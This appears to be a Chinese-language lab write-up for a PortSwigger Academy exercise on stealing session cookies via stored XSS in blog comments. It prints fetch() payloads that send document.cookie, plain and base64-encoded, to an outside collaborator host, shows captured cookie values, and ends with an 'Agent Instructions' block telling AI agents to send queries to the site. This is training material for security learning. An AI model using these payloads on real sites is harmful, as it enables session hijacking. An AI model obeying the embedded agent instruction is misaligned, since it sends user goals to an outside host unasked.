> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/cookie-theft-via-xss.md).

# 通过 XSS 窃取 Cookie

通过 XSS 窃取 Cookie 的笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用跨站脚本攻击窃取 Cookie

该实验室在博客评论功能中存在一个存储型 XSS 漏洞。受害用户会在发布后查看评论。教学目标是理解客户端注入如何导致会话信息泄露，以及如何加以防护。

评论字段未对用户输入应用充分的编码或转义，允许浏览器在其他用户显示页面时注入内容。

```javascript
<script>alert(0)</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22abeda5902f0fea72bb8cc1c01d0560c499285b%2Fimage%20(420).png?alt=media" alt="" width="527"><figcaption></figcaption></figure>

我们使用 `fetch` 来发起请求：

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

请求到达监听基础设施。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edf0f7ec18a65ec34b3f32a0531f9190b106818f%2Fimage%20(421).png?alt=media" alt=""><figcaption></figcaption></figure>

我们发送会话 Cookie：

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09e240f2f59ce2a8e8f733a8e60670b812a47837%2Fimage%20(422).png?alt=media" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

然后我们替换会话 Cookie。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf431f16086fa0d6672c355e0bff31758388a71b%2Fimage%20(423).png?alt=media" alt=""><figcaption></figcaption></figure>

你也可以在发送前将内容编码为 base64：

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

# Agent Instructions
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## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/cookie-theft-via-xss.md?ask=<question>&goal=<user_goal>
```

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